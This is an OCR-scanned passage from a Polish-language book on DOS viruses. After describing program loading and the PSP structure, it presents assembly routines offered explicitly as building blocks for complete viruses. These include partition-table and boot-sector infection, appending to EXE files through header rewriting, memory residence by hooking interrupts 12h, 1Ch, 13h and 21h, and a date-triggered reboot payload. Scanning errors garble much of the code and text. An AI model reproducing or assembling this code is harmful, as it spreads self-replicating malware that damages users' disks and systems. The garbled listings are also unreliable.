DOS potrah zaladowad | wykonad tylkd dwa rodzajé plikdw, 2 rozszerzeniam] COM 1 EXE. Wykanywany program wraz ze
swoim otoczaniem nosi nazwe pracasu. W systamia MS-DOS w dane| chwili moze wykonywaé sig dokladnie jeden proces
(wyjatkiem sq programy rezydentne). Kazdy z procesdw moze jednak wywolywag inny proces Zawieszajgc chwilowo swojg
prace. W ten sposdb wykonywane procesy sa powigzane w hierarchig procesow macierzystych i potomnych. Zwykie
wigkszoéc procesdw uzytkowych jest wywolywana przez interpreter poleceri COMMAND.COM.
¥  Fiszac programy pamigtal, ze procesowi moze zostac przydziglone dowolne miejsce w pamigei operacyjnej, dlatego nigdy
& - niewykorzystul zadnych adreséw bezwzgladnych poza aktualnym segmentem.

Uruchomiajge proces system MS-DOS wykonuje nastgpujace czynnodcl:
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Przydziela pamigé operacyjng. Programy typu EXE dostaja tyle pamigei, ile wynika z ich nagiowkdw. Programy
typu COM nie majg Zadnych informacii o zapotrzebowaniu na pamieé operacyjna, dlatega DOS przydziela im
calq dostepng pamigé.

Tworzy przedrostek procesu (PSP - Program Segment Prefix). Jest to struktura zajmujaca 256 bajtow zawiera-
jaca najwaznisisze informacie o procasie. Znaczenie jej peszezegdinych pdl jest opisane ponizej,

Tworzy statyczng kopig srodowiska systemowego. Na koricu srodowiska umieszcza sciezke dostgpu do pliky,
Z Kidrego zostaf zaladowany program. To, 2e kopia Srodowiska jest statyczna oznacza, iz kazda w niej zmiana
dotyczy tylko procesu aktualnie wykonujacego sfe, a nie ma wplywu na srodowisko proceséw nadrzednych. Jes-
li wiec w swoim programie Zmienisz np. znak zachety sysfemowej, to po zakorfczeniu procy programu, zostanie
automatycznie przywréeony poprzedni znak zachety.

Ustawia adres bufora roboczego operacji dyskowych (DTA) na PSP:0080

Offs Rozmiar  Zawarto$é
+0 3 CD 204 Skok do tegﬁ miﬁjsca pUWUdU]VE zakonczenie
procesu {przerwanie 2CH)
42 p Pamigd . Pamig¢, Putap pamigci programu (Pierwszy wolny
segment)
+4 1 Zarezerwowane
45 5 call | offset | segment CAiTL otisel sagment FAIfI CALL do pracedury obslugujgce]
funkcje systemowe (przerwanie 21H)

+8 {2) Dost, Liczba dostepnych bajtéw w segmencie ( dia plikdw typu COM)
+0aH offset | segment Adres procedury obstugi przerwania 22H
+0eH offset | segment Adres procedury obsiugi przerwania 23H
+12H offset | segment Adres procedury obstugi przerwania 24H

+16H 16H zarezerwowane przez DOS
+2¢H 2 Srodow, Numer segmeniu $rodowiska systemowego .
+2eH 2eH zarezerwowane przez DOS

+5¢H 10H FCB #1 Blok FCB pierwszego argumentu programu

+6¢H 144 FCB #2 Blok FCB drugiego argumentu programu K
+80H 1 len Liczba znakdw w tekscie parametrow (réwniez

' poczgtek bufora roboczeqo)

+81H 7tH Qbszar parametréw Tekst parametrow programu

+0FFH

Ht Firma MICROSOFT w dokumentacji systemu MS-DOS zastrzega, 2e zmiana jakiegokolwiek pola PSP ponizej adresu

5CH moie spowcdowad zawieszenie sig systemu,

Laduje program zaczynajge od PSP.0100

Dia programdw typu EXE w rejestrach DS i ES umieszczany jest adres segmentu PSP, Rejestry CS,IP,55,5P
89 ustawiane na podstawie odpowiednich wartosci nagiowka pliku [EXE.

| Dzigki takiemu mechanizmowi uruchamiania do programow typu EXE tatwo moga sig dotaczad wirusy, wystarczy tylko
tak zmieni¢ nagtdwek, aby wskazywal na poczatek kodu wirusa i i zapamietad wartodci pierwotne. W czasie wykonywania
zararonego programu sterowanie jest najplerw oddawane wirusowi, kidry gdy wykonawszy to co ma do zrobienia, przekazuje
je do wlasciwego programu. Przyklad takiego dziatania wirusa zobaczysz w nastgpnym rozdziale.
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»  Dia programow typu COM wszystkie rejestry segmentowe s3 ustawiane na adres PSP, ponacto do licznika roz-
kazdw [P wpisuje sig wartod¢ 100H, a na stos zostaje polozone slowo CO00H.

« Jedl parametry programu zawieraly odwotania do identyfikatoréw dysku, to w rejestrze AX umieszeza infoma-
cie 0 poprawnosci tych identyfikatordw
AL=0ffH jeshi pierwszy identyfikator byt niepoprawny
AH=0fiH jesli drugi idertyfikator byt niepoprawny

17. Czary — mary czyli nie taki diabet straszny

Doszlisémy wreszcie do gidwnego tematu ksiazki, czyli wirusdw. W tym miejscu pewnie spodziewasz sie apisu mniej wigcaj
fakiego typu: Wirus to taki dziwny stworek, kidry potrafi sam przeskakiwag z dyskietki na dysidetke i czasami jak ma zly
humer to formatuje dysk twardy (pewnie, ze przesadzam, ale poczytaj sobie wigkszos¢ naszych wspanialych opracowan
owinusach). Mysle, 2e oslagnales juz troche wyzszy stopier Swiadomosci i mozemy to sobie darowaé. Cheialbym nalomiast,
ehy$my zastanowili sig jakie czynnodct musi umied wykonywac {2 jakich procedur sie skfadag) przeciginy witus.

*  Kopiowanie samago siebie do tablicy parycji lub bloku tadujacego
*  Dolgezanie samego siebie do pliku zawierajgcege program

+  Instzlowanie sig w pamieci

*  Przechwylywanie programu tadujgcesw system operacyjny

*  Uruchamianfe sig na poczatku pracy programow

+  Maskowanie swojej obecnosci w systemie { na dysku

*  Mniej lub bardziej smieszny doweip ( bo co to bylby za wirus, kidry nie powodowatby jakieges mafego zamie-
szania)

Mysle, o ta lista wyczerpuje z grubsza czynno$el wykonywane przez wirusa. W tym rozdziale cheiatbym przedstawic
szezeqiowe opisy kazdsj z tych gnup, polaczone z przyktadami konkretnych procedur. Dostaniesz wigc do reki jakby kiocki,
zkidryeh bedriesz magt skdadad gotowe wirusy, Wydruk jedneqo 2 takich wirusdw znajduje sie w rozdziale piatym,

Kopiowanie wirusa do tablicy partycji lub bloku fadujgcego

ZaraZenie tablicy partycji dysku twardego polega gidwnie na wezytaniu do pamigci oryginalne; tablicy, zmianie kedu na
taki, kidry wozytuje wirusa i ewentualnie na zapamiglaniu prawdziwej zawariodei tablicy. Réinice migdzy sposcbem
zarazania tablicy partycii | bloku tadujgcego moga wynikad z réznej budowy tych strukiur, Migdzy innymi jest to zwigzane
2tym, 7e w tablicy partycji ealy kod fadujacy znajduje sig przed informacjami ¢ strukturze dysku, natomiast w blokutadujacym,
pa tych informaciach. Od strony techniczne] do zmiany iablicy partycii lepiei uzywac przerwania 13H ($ciezka 0 glowica 0
sektor 1), za$ do zmiany bloku tadujacego przerwania 25/26H {sektor logiczny 0). Procedura kopiujgea wirusa, do tablicy
partycji dysku twardego i nastepnych sektordw moze wygladad na przyklad tak:

Kopiowanie wirusa do lablicy partycji pierwszego dysku twardego.

;  Tablica partycji jest zmieniana, wirus umiejscawia sie w nastepnych
; sekforach, onyginaina tablica partycji przenoszona jest do seklora
0,09,
;W procedurze wykorzystywany jest bufor, kidry wezesniej musi byc
. okreslony. Powinien zawiera¢ przynajmniej 512 baftdw wolnej pamieci.
;  Zdefiniowac taki bufor mozna na przykiad przy pomocy instrukgji
. bufor db 200H dup (?)
; Ponadte przyjmuje, iz caty wirus zaczyna sig od adresu tablica_partycii,
; aczest przepisywana do zmienionej tablicy partydii znajduje sig miedzy
,  adresami tablica_partycji a koniec_tablicy_partycii.
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zarazenie_tablicy partyeiil:

push ds

push es

mowv dx, 0080H

mov cx, 0001H ; Wezytanie

mov ax,cs ; oryginalne]

mov es, ; tablicy partycii
mowv bx,nffset bufor

mev ax,0201h

int 13h

mow ax,cs

mov ds,ax

mov es, ax

mov g2i,offset bufor

mov di,offset tablica_partycii

cld

mov ex,18h

rep cmpsh ; Sprawdzenie, czy tablica nie jest

; juz zarazona

ine nie_zarazona

phulel k
nlie_zarazona:

mov dx,80h

mowv cx, 9

mowv ax, oo

mav as, ax

mov bx,ocffset bufor

mowv ax,0301h ; 2apamietanie oryginalnej

; tablicy partycji

int i3h ;7 w gektorze 0,0.9
mov cx, toffset koniec_tablicy partycjil-
{offset tablica_partycjl)

oW AX, S

mov ds, ax

mov 25 ,4a4x

MoV si,offset tablica partycii

moV di,offset bufor

cld ; Przekoplowanie czescl wirusa do bufora.
rep movs ; W miejsce odpowladajace kodowi

; tablicy partyc]i

mov dx, B80h

mov cx, 1

mov ax,cd

mov eg, ax

mowv bx,offset bufocr

mov ax,0301h

int 13h ; sapisanie na dysku zarazonej

; tablicy partyeji

mowv dx, 80h

mov cxX, 2

mov ax,os

mov 28, ax

mov bx, offset tablica partycji

oV ax,0306h

int

; Zapisanie ciala wirusa w sektorach

berposrednic po tablicy partyeiji. Ha ten cel jest
przeznaczonych 6 sektorow nie uzywanych przez ME-DOS,
W praktyce oznacza Lo wirusa do ok 3kB. Nie spotkalem
sie do tej pory z dluzszym wirusem, jesli jednak
zdarzylby sie taki, to mozesz rozrzerzyc liczbe
sektorow maksymalnie do 16, pamietaijac o tym, ze po
tych sektorac%mpamiatana Jest orvginalna tablica
partycii {znajdz jej nowa lokalizacie).

i M mp Moy wE SR MR

ks

Pop as
rop ds
rek
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Przy 2arazaniu tabiicy partycji musisz zwrécic uwage na to, aby zmienfana byla tylko ta czgsc tablicy 2 kedem fadujacym,
a nig informacje ¢ strukturze dysku. W przeciwnym razie komputer moze na przyktad nie widzieé¢ dysku twardego, lub nie
cheied wystartowac z tego dysku. Moze sig to zdarzyé w sytuacji, gdy kod zarazonej tablicy pantycji przekroczy 1BEH bajtow
{pelrz opis organizagji dysku).

Doklejanie sie do pliku

Wirusy potrafia dolaczyé sig prakiycznie do kazdego typu zbioréw zawierajacych programy. Moga te byé procedury obstugi
urzadzen (.sys}, pliki z modufami do konsolidacii {.oby) , nakdadki (.o}, programy w postaci absolulnej {.com) iub przemieszczalng]
(.exe). Wirusy doldejaja sie zazwyezaj na koniec pliku zwickszajge jego diugosc 1ub kopiujg sig wtakie mieisce pliku, w kidrym nie
2nis2sz adnych infomagji. W ym drugim przypadku drugoéd pliku nie ulega zmianie, s wige one jak gdyby niewidzialne . Oprocz
skopiowania sig do pliku wirusy zmieniajg takze punkt startu programu. W plkach 2z nagidwiami {sys, .exe) zapamigtywane $3
stare | wpisywane nowe wartosel punktu(dw) startu tak, aby wskazywaly na kod wirusa. Po uruchomieniu takiego programu najpieny
wykonuje sig wirus, a dopiero potem wiasciwe instrukeie.

Zprogramem w postaci absolutnej (.com}) sprawa jest troche bardzie] skompfikowana. Poniewaz dla tego programu punki
startu jest zawsze taki sam (cs:100H), nalezy zapamigtad trzy pierwsze bajty pfiku, w ich migjsce wstawié instrukcjg jmp
poczatek_wirusa+100H . Wirus natomiast przy uruchamianiu powinien wykonac swdj kod, przywréeic pod adresem es:100H
Irzy pierwsze oryginalne bajty programu i wykonad skek do cs:100H. Poczatek_wirusa powinien by liczony wzgledem
poczatku pliky, jedi wiec wirus jest dotaczony na koricl, to poczatek wirusa jest rdwny rozmiarowi pliku przed zarazeniem
+h

Pod spodem znajduje sig przyktadowa procedura zarazajgaea plik 2 programem w postaci przemieszczalne) {.exe) znajdu-
jacy sie w akiualngj kartotece. Zarazony plik jest oznaczany w ten sposdb, ze w nagtdwku pliku liczba minut i sekund jest
ustawiana na OFFH. Procedura nie zaraza plikéw raz zarazonych lub o rozmiarze wigkszym niz 128KB.

Dia wiatwienia przyjalem, Ze segment z danymito réwnoczesnie segment z programem, stad biora si¢ dosé czeste operacie
nodstawienia pod warlesé rejestru DS wartodei rejestru CS. Takie samo zalozenie przyjmowalem i w nastgpnych proce-
durach,

handle dw(7?) ; Dejscie do pliku
dlugosc_pliku_seqg dw (7?)
dlugosc_pliku_ofs dw (7) ; Dlugose pliku =

65516 4 neg + ofn

Rozmiar naglowka pllku
Czas 1 data ostatnie]
modyfikacji.Wykorzystywane
52 w Celu oznaczenla
zarazonego pliku.

naglowek dw {[?)
czas dw {?)

data dw {7}

e e T e T Ty

wzorzeo db 'Y .exe’ 0 : Procedura szuka tvlke plikow

z rozazerzeniem EXE wlasciwy typ
pliku jest jednak sprawdzany
poprzez porownanie, czy dwa
plerwsze znaki to MZ

-

zarazenie_pliku:

push ax

push bx

push Cx

push dx

prsh ®i

push di

push ds

push a5

pusht

nov ah, deh

WOV QsE, M

MOV ds, cx

mov dx,offset wzorzec

mov cx, 0fh

int 21h ; znalezienie pierwszego pliku
; odpowiadajacego wWIorcowl

jne znaleziony_plik_typu_exe

Jmp koniec_zarazania_pliku

znalezliony_plik_typu_exe:
mov ah,2fh
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inkt
mov

mowr
mov

add

21h ; Pobranie adresu bufora roboczego do es:bx
oX,es : W buforzs vohoczym, pod adresem
; 1lEH{offset) znajduije sie
ds,cx ; nazwa pliku zgadnego ze wzorcem,
; znalezlonego ostatnio
dx,bx ; przy pomocy funkeji 4EH lub 4FH,
dx leh ; Nazwa ta przekaz aﬂa adresem DS:DX
s LE H

jest parametrem dla nastegneg funkcji

otwierajacej dojscie do pliku.

szukanie_niezarazonego_pliku:

mov

int
nowv
mowv
mowv
mov

mowv
int

cmp

ine

nov
int

mov
int
jnc
Jmp

ax,3d02h

21h

ox, 08

ds,ex

bx,ax

handle, ax ; Otwarcie deojscia do pliku

ax, 5700h
21h i Pobranie czasu ostatniej meodyfikacji do CX

cl,Dfth ) ; Sprawdzenie, c¢zy plik jest juz zarazony
do_zarazenia

ah, 3eh
21h : Jesli juz zarazony, to zamkniij dojs=cie

ah,4fh

21h ; 1 szukaj nastepnege pliku zgodnego
7 Ze wzorcem

znaleziony_plik_typu_exe

koniec_zarazania_ pliku

do_zarazenia:

mav cl,0ffh i Zapamietanie zmodyfikowanego czasu
i 1 daty ostatniej modyfikacje pliku.
mov data, dx ; Jesli nie bedzie klopotu 2 dalszym
mov CZAaS, CX ; Zarazaniem te te wartosci beda
; oznaczaly, ze plik jest zarazony
nmov cx, 0
mov dx, 0
mov ax,4202h
int 21lh ; Przesuniecie wskaznika pliku na koniec
mov dlugesc_pliku_seg,dx ; i odeczytanie w ten sposob
) ; rozmiaru pliku.
mov dlugese_pliku_ofs, ax
mov ox, 0
mov dx, 0
mov ax, $200h
int 21h ; Przesuniecie wskaznika pliku na poczatek.
MoV ax, cs
mow ds,ax
MoV dx,cffset bufor
mov cx, 20h
mov ax, df0h
int 21k ; Wezytanie do bufora naglowka pliku,
; Weszelkie operacje odezytu i zapisu
i z naglowka pliku beda od tej pory
; wykonywane w buforze -
cmp word ptr [bufer],'ZM' ; sprawdzenie, czy plik
. ; jest rzeczywiscle
ie plik_typu_exe ; plikiem typu EXE
mp plik za_duzy ; Jesli nie to skok do
; konca procedury
plik_typu exe: ; Wlasciwe zarazenie pliku
mov ax,ofifset koniec
mov cl,9
shr ax,cl
and ax,lffh
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mov CX, ax ; Obliczenie dlugosci wirusa
; w 5lZ2-hajtowych stronach
mov ax,word ptr bufor(4]
add ax, cx
inc ax
mov word ptr buforidi, ax ; Wstawienie nowego reozmiaru
; pliku wraz 2 wirusem
mov ax,word ptr bufor([2]
mov nagliowek, ax ; Zapamietanie rozmiaru naglowka
mov ax,word ptr bufor{léh] ; Zapamietanie oryginalnego
; segmentu startu
mnav £Aa_Ssrarc, ax ; programt.
mowv ax,dlugosc_pliku_seg H Sprawdzenle rozmiaru
; pllku jesli wiekszy
cmp ax, 02h ; niz 128KB - rezygnacja z
; zarazenia.
jle plik_ok
Jmp plik_za_duzy
plik_ok:
mov cl, 0Ch ; Ustalanie nowegoe segmentu punktu startu
shl ax,cl ; programu.
and ax, 0£000h i Ponllewaz wirus dok1e3a sie na koncu
mov dx, ax pliku nowy segment jest ustalany jako
: dlugosc_pllku seg*d4096+dlugosc_pliku_offs/4
mov ax,dlugosc_pliku ofs;
mov cl,04h : — rozmiar naglowka + 1.
shr ax,cl ; Nowy segment punktu startu programu
and ax,0fffh ; zaczyna sie dokladnie w miejscu
; poczatku wirusa.
add ax, dx
mcv dx, naglowek
sub ax, dx
ine ax
mov word prtry bufor{lah],ax

; zapisanie nowego segmentu startu

mov ax,word ptr bufor[l14h]

; Zapamietanie oryginalnego offsetu punktu

; startu programui, cg_start i ip_start beda pozniej

; wykorzystywane przez procedure uruchamiajaca program.

mov ip_start,ax;
mov ax,offzset start_pliku_exe
; Jako nowy adres punktu startu pliku wgisywany jest adres
; procedury wirusa przechwytujace]i uruchamianie programi.
nmov word ptr bufor[14h), ax;
mov cx, b
mov dx, 0
mov ax,4200h :
int 21h ; Ustawienie wskaznika pliku na pogczatek
mov dx, offset bufor
mevs Cx,ZDh
mov ax,4000nh
int 21h ; Zapis naglowka ze zmienionymi danymi.
moy ox,
movw dst; 0
mov ax, 4207h
. int 21h » Ustawienie wskaznika pliku na koniec
nov ax,dlugesc_pliku_ofs
and ax,Q00fth
cmp ax,
ine - zaokraglenie do_16
Moy cx cfh
zamﬁraglenle do_16;
mov cx,000fh
sub CX, ax
o_K: ;: Dopisanie kilku bajtow do pliku, tak
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ine CxX ; aby wirus zaczynal sie od pozyeji
;i pedzielne]j przez 16, czyli od pelnego segmentu

mov dx, oftset ‘tablica _partycii;

ey ax, 40000 { Upraancna o poTniedana

int 21lh ; adresowanie,

mov cx,0

mov dx, 0

mov ax,4202h

int 21h ; Ustawienie wskaznika pliku na koniec
mov dx,offset tablica_ partyvcoiji

mov ax,offset koniec

mov cl, 9

shr ax,cl

ine

mov cl, o

shl ax,cl Wlasciwe doklejenie sie do pliku,

przy zaleozeniu, ze wirus

r
mov cx,ax ; zaczyna sie od adresu tablica_partycii,
; Zas konczy na adresie koniec.
mov ax,4000h ; Rozmiar wirusa Jjest zw1ekszany do
int 21h ; wielckrotnosci 512.
plik_za_duzy:
mow CX,czZas ; Plik nie zogtal zarazony,
; bo nie jest to plik typu exe
moy dx, data : lub jest za duzv.
Rowniez wtedy gdy zarazenie przebleglo
mov ax,3701h pOmyslnle
int 21lh Oznaczenie pliku jako zarazony

(aby nie nastepowaly
ponowne proby jego zarazanial).

. e Tt s Wy

mov ah, 3=h

int 21h ; zamkniecie dojscia
konlec_zarazania_pliku:
ropf

pop as

pop ds

pop di

nop si

pop dx

pop cx

Dop b

pop ax

ret

instalowanie si¢ w systemie

Instalowanie sig¢ wirusa w systemie operacyjnym polega na przekopiowaniu sie w bezpieczne {tzn takie, w kidrym nie
bedzie mozliwosci skasowania} miejsce pamieci oraz na przechwyceniu odpowiednich przerwari. Instalowanie sig w systemie
przebiega roznie w zaleznosel od tego, czy wirus uaktywnia sig na poczatku pracy systemu (z tablicy partycii), czy jest
wywolywany 2 jakiegos pliku. W tym pierwszym przypadku, jesli chcemy korzystac z jakis funkeii tub przerwari DOSa
instalowania powinno przebiegad dwustopniowo. Podczas fadowanla systemmit anl funkeje, ani przerwania systemowe nie
83 dostepne. Wirus musi wiec przekopiowac sie w odpowiednie miejsce pamigci, przechwycic jakies przerwanie(nia) BIOS-u
f czekac na zatadowanie sie systemu. Po zaladowaniu sig systemu nastgpuje dopiero wladciwe przechwycenie przerwan
i instalacia w systemie. W przyitadzie, kidry znajduje sie ponizej, do tego celu zostato wykorzystane przerwanie 1CH
{przerwanie zegarowe uzytkownika). Mozliwe jest réwnie wykorzystanie sprzetowego przerwania zegarowego 09H, jednak
po speinieniu kilku warunkdw — patrz opis tego przerwania.

Przerwanie 12H-oclvesla rozmiar pamigel operacyjne) komputera. Przechwycenie tego przerwania pozwala na ,0szukanie”
systemu i obnizenie ostainiego adresu o 4KB. Wirus instaluje sie w obszarze, kidrego od te] pory system nie widzi.

Wiasciwa instalacja w systemie to przechwycenie przerwari 21H1 13H. Dzigkl temu przechwyceniu mozliwe bedzie péZniej
rozmnazanie sig wirusa oraz maskowanie obecnosci w systemie.
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Ponizsze procedury pozwalajg na zainstalowanie sig wirusa w systemie operacyjnym podczas tadowania tego systemu.
Poczatkowo wywotywane sg tylko procedury instalowanie_przerwania_1ch | instalowanie_przerwania_12h. Zwro¢ uwage,
te procedury e nie wykarzystujg zadnych funkcji systemowych. Pozostafe procedury sg podigczone pod cdpowiednie
przerwania | wywoluja sig automatycznie po uplywie pewnego czasu. Zaktadam, Ze zdefiniowane $3 zmienne, w kidrych
pamigtane sq oryginaine adresy procedur obstugi przerwan.

instalowanie_przerwania_lch:

push dg
rush es
mov TK, Q5
mov dsg ., cx
xior dx,d=x
Uy a5, dx : D8 = C8 , ES = 0
mowv licenik, 0 ; rozpoczecie odliczania czasu
mov ax,es:70h ; Zapamietanie cfsetu adresu poprzedHLEJ
jrloyis adres_lech_ofs,ax ; procedury cbslugil przerwanla 1ch
mov es:70h, offset przerwanie_lch ; 1 ustawienie nowego
; adresu
mov ax,es:72h ; Zapamietanie peoprzedniego segmentu
; procedury obslugi przerwania lch
mowv adres lch seg.ax ; 1 ustawienie nowege
mov aeg:;72h, i segmentu
pop es
pop e
rekb
instalowanie_przerwania_12h:
push ds
push es
mov oX, o8
mov ds,cx
Xxor dx, dx
mov ez, dx Ds =Cs , E5 = 0
mov ax,es;48h Zapamietanie ofsetu

: adresu poprzednie]
mov ax,es;7ih ; Zapamietanie poprzedniego
; segmentu procedury

mov adres_1lch_seg,ax obslugi przerwania lch
;1 ustawlienie nowego

mov eg:;72h, segmentu

nov ax, es:dah Zapamietanie poprzedniege seqmentu
mov word pbtr adres_ lzh ofs[2].ax ; procedury obslugi

; przerwania lch 1 @ALISTING =

mov es:dah, cx ; ustawienie nowego segmentu
pop es

pop ds

ret

adres_12h ofs dd far ptr (7}
przerwanie_12h:

pushe

cli

call cz:far [adres_l1l2h_ofs+2] : Wywoclanie oryginalnego

; przerwania 12H

sti ; W rejestrze AX - rozmiar pamieci w KB
sub ax, 4 ; Zmniejszenie rozmiaru pamieci o 4KEB

cli ; Po zainstalewaniu tego przerwania

iret : gystem nie bedzie ,widzlal” gornych 4KB
adres_lch_ofs dw {?) ; Offset i gegment oryginalnej

i procedury obslugi

adres_lch seg dw {(7) ; przerwania zegarowego 1CH

licznik dw 0O ; Licznik czasu do pelnej instalacii
cpoznienie equ 100h ; Ilose taktow zegara (1 takt = ok

; 1/18s), po ktorych

; wirus ma sie zalnstalowac w systamie.
;  Powinna wynosic przynajmniej &64H.

i {Mniejszy czas moze nie starczyc na
; zaladowanie systemu. )
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przerwanie_lch:

push
push
push
push
push
mov
mov
mov
ing
cmp

ige zmiana
mov

ax
bx
dx
ds
es
ax,cs
ds, ax
ax, licznik
ax ; zwiekszenie licznika )
ax,opoznienie ; sprawdzenie, sy uplynal juz
; odpowiedni czas .
; Jesli tak to rozpoczecie instalacji
licznik,ax

Jmp wyiscie_z_1lch
zZmiana;
mov ah,2ah
int 21h ; Sprawdzenie, czy jest wlasnie 14
cmp dx,060eh rczerwea {lub dowolna inna data}
jne zmien adresy ; Jesli nie, to instalacja w systemie
call kodowanie ; Jesli tak, to uaktywnienie sie,
call dezakt¥wacja ; wymazanie sie samemu wirusa
mov ax,0ffffh ; 1 restart systemu
push ax
maov ax,
puzh ax
retl
zmien_adresy:
mov ah,34h ) ) .
int 21ih ; Sprawdzenie, czy DOS nie jest zaiety np
mowv ah,es: [bx] ; przez oieracja dyskowa. W takim
or , & : przypadku dalsze czynnosci moglyby
; zawlegic system
nz wyjscie_z_lch i .
call zmien_adresy_przerwan ; Jesll system nie zajety,
; b6 wirus )
mov ax,cs ; przechwytuje przerwania 13H,21H
; 1 przywraca
mov ds,ax ; poprzednia procedure obslugi
; przerwania zegarowego 1CH
mov dx,adres_Jlch_ofs ; (Zwalnia to przerwanie)
mov ax,adres_lch seqg
mov ds,ax
mov ax, 251ch
int 21lh
wyjscie_z_1lch:
pop as
PoPp ds
pop dx
pop bx
pop ax
iret
zmien_adresy przerwan:
st1
push ax
push bx
push ax
push dx
push ds
push es
mov ax, haslo ; Sprawdzenie, czy wirus nie jest juz
int 21h ; zainstalowany w systemie. Najprostszym
cmp ax,odzew ; sprawdzania jest przechwycenie funkeji
je keniec_zmiany adresow ; lub przerwania standardowo
; nie uzywanej przez .
; system, Wirus sprawdza, czy po wywolaniu
; funkcji o numerze haslo w rejestrze AX
; zwrocona wartosce cdzew. Jesli tak,
; to znaczy ze wirus jest juz w pamieci.
mov cxX, s
mov deg,cx
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xor dx, dx
mov as, dx : D8 =C8 , ES = 0
mov ax,es:dch
mov word Etr[adres 13h_ofs),ax
mov es:dch,offset przerwanie_ 12h
mov ax,es:4eh ; Zapamietanie oryginal-
; nego i ustawienie
mov ward ptr adres_13h ofs[2],ax; nowegoe adresu
} brocedury obslugi
mov es:deh,cx ; przerwania 13H
; (offset i1 seguent)
mov ax,es:84h
mov word gtr[adres_2lh_ofs],ax
mow es;:84h,0ffset przerwanie_21h
mov ax,es;B86h H Zapamletanle oryginalnego
; 1 ustawienie
nmov word ptr adres_21h ofs[2] ax ; nowegoe adresu
; procedury obslugi
mnov e5:86h,cx : przerwania 21H {offset i segment}
koniec_zmiany_adresow:
pop eg
pop ds
pop dx
aledel cx
poR bx
oop ax
cli
ret

Fcrhjvzsza prt:ics,'i:iurylr mstalu;a wirusa w pamigci podczas startu systemu. Przechwytywanie przenwar i koplowanle w bez-
pieczne miejsce pamieci podczas uruchamisnia wirusa z zaraZonego pliku jest prostsze, gdy? odbywa sie tylko w jedngj
fuzie. Ponizej przedstawiona jest procedura, kidra instaluje wirusa w pamigei podczas cruchamiania zarazonego pliku,
Zaktadam, 1ak jak poprzednio, Ze kod wirusa zaczyna sig od adresu tablica_partycji, a koriezy na adresie koniec.

przechWYCEnif_przerwan

push

push es

mov bx, {{ocffset koniec) - (offset tablica_partyeiji)}
nev cl,4

shr bx,cl ; ustalanie ile pamieci

. ; {w pargrafach 18 - bajtowych) jest
inc bx ; potrzebne dla wirusa

mov ah, 48h : 1 preydzial te]j pamieci

int 21h .

inec Bamlec_przyd21elona

iy ,[(u[[aet koniece) - {(offset tablica partyciji))
mov

shr bx cl i W przypadku, gdy pamiec nie zostala

; przydzielona

inc bx ; ponowne obliczenie ile pamieci potrzeba
mov ax.,ds ; 1 ponowny przydzial pamieci w sposob
mov 25, ax ; nieudokumentowany korzystajac z tego,
mov ax,es:2 ;w jaki sposch DOS cznacza bloki pamieci,
sub ax,.bx

mov eg:2,ax

push ax

mav ax¥, 8

dec ax

mov esg, ax

mov ax,es:3

sub ax, bx

mov es:3,ax

jeley e ax
pamiec_przvdzielona:

push ax ; rejestrze AX numer segmentu,

; ktory zostal przydzielony

mov bx,cs ; wirusowi

mov ds,bx

mov es,ax

mov di,offsget tablica_partycji

jiilagty Sl,foSEt tablica_partycji
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mow cx,offset koniec[10h]

cld ; przekopiowanie wirusa do miejsca, ktore
rep movshb ; zostalo mu przydzielone

MoV ax,offset skok _po_przeniesgieniu w pamieci

push ax ;: skok do miejsca w ktore wirus zostal
retf ; przekopiowany

Sskok po_przeniesieniu_w pamieci:
call zmien_adresy prrerwan  ; patrz poprzednie procedury

koniec_prrechwytywania przerwan:

pop es
slajsl ds
rekt

Przechwytywanie programu tadujacego system operacyjny

Przy przechwytywaniu procedury tadujacej system operacyiny, wirus korzysta z faktu, Ze podczas wezytywania systemu
zawsze pierwszy sektor dysku (Sciezka 0, glowica 0, sektor 1) jest wozytywany pod slaly adres w pamigci {0:7C00)
i wykonywany jest program zawarty w tym sekiorze, Poniewaz sekior ten jest zarazony przez wirusa wezytywanie systemu
odbywa sig w nastepujgcy spossh:

— wezytanie zaraZonego sekiora

— oddanie sterowania do wirusa

— wezytanie przez wirusa reszly swojego kodu

— instalacja {pierwszy efap) wirusa w systemie

— wezylanie oryginainego pierwszego sekiora

— oddanie sterowania do cryginalne] procedury fadujace]

Pod spodem przedstawiona |est typowa procedura przechwytujaca tadowanie systemu 2 tablicy partycji dysku twardego.

tablica_partycii:

xOor ax, ax i Stos Jjest tak samo ustawiany

mov 58,a8X : w orvainalne] procedurze ladujace]
mov sp,7e00h ; system operacylny

int 12h : Pobranie rozmiaru pamiecl gperacyinej
Mo cl, 6 » Uztalenie scgmenlu, kbory zaczyna sie 4KB
shl ax,cl ; przed koncem pamieci

mov cx,100h

sub ax,cx

mov adres, ax

mov dx, 80h

mov cxX, 2

mov es,ax

mov b, 0

mowv ax,0206h

int 13h ; Wezytanie wirusa pod ten adres

mov ax, adres

push bs

mov ax,offset czesc_iniciujaca

push ax ; 8kok do adresu eczesc_inicjujaca w obszarze
retf ; do ktorege zostal wezytany wirus

adres dw (%) adres, pod ktdry wozytuje sie wirus

koniec_tablicy partycji:

czesg_inicjujaca:

mov ax,cs
mov 5s,ax

mov de,ax

mov sp,offaet bufor(100h]
moswy dx, 80h

mowv X, 9

xXOor ax,ax

mocv 2s,ax

mov b, 7c00h

push es

push bac
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mov ax,0201h
int 13h ; wezytanie oryginalnej tablicy partyeji
; pod adres 0:7C00
call instalowanie_ przerwania_loh r Plerwsga czego
; instalac)l wirusa
vall insbalowanie przerwania 12h ; w systemie operacyjnym
retf : przekazanlie sterowania do oryginalne]j

; procedury ladujacej system

Uruchamianie sie na poczatku pracy programéw

Procadura przechwytujaca uruchamianie sie plikdw typu EXE {lub innych programow z plikow z nagidwkami) skiada sig
usadniczo z frzech etapbw:

— prawdzenie, czy wirus jest juz w pamieci

— jedli nie, to zainstalowanie go da pamigci

— oddanie sterowania do whasciwego programu, poprzez skok do oryginalnego punkiu startu programu, zapa-
migtanego przez procedure zarazajaca plik. :

W plikach z programami w postaci ahsolutnej (.CQM) pomiedzy drugim a trzecim m elapern wius must przywrGeic
oryginalny paczalek programu { patrz opis zarazania pliku typu COM)

Prayktadowa procedura przechwytujaca uruchamianie piiku typu EXE moze wygladad w nastepujacy sposdh:

ip start dw (7)) ; oryginalny punkbt startu programi
; zapamietany przez
ce_start dw (7} ; procedure zarazajaca plik

start_pliku_exe:

push ds

push ag

mov ax,hasle

int 21h

cmp ax,odzew ; sprawdzenie c¢zy wirus jest juz w systemie
je wlasciwy_start_pliku

xor ax, ax

mow 25, daXx

int 12h

mov cl, 6 ponownie sprawdzenie, cozy wirus jest juz

shl ax,al } W systemie. Jesli tak, to segment pro-
I

CIp es;:4dah,ax cedury obslugi przerwania 12H

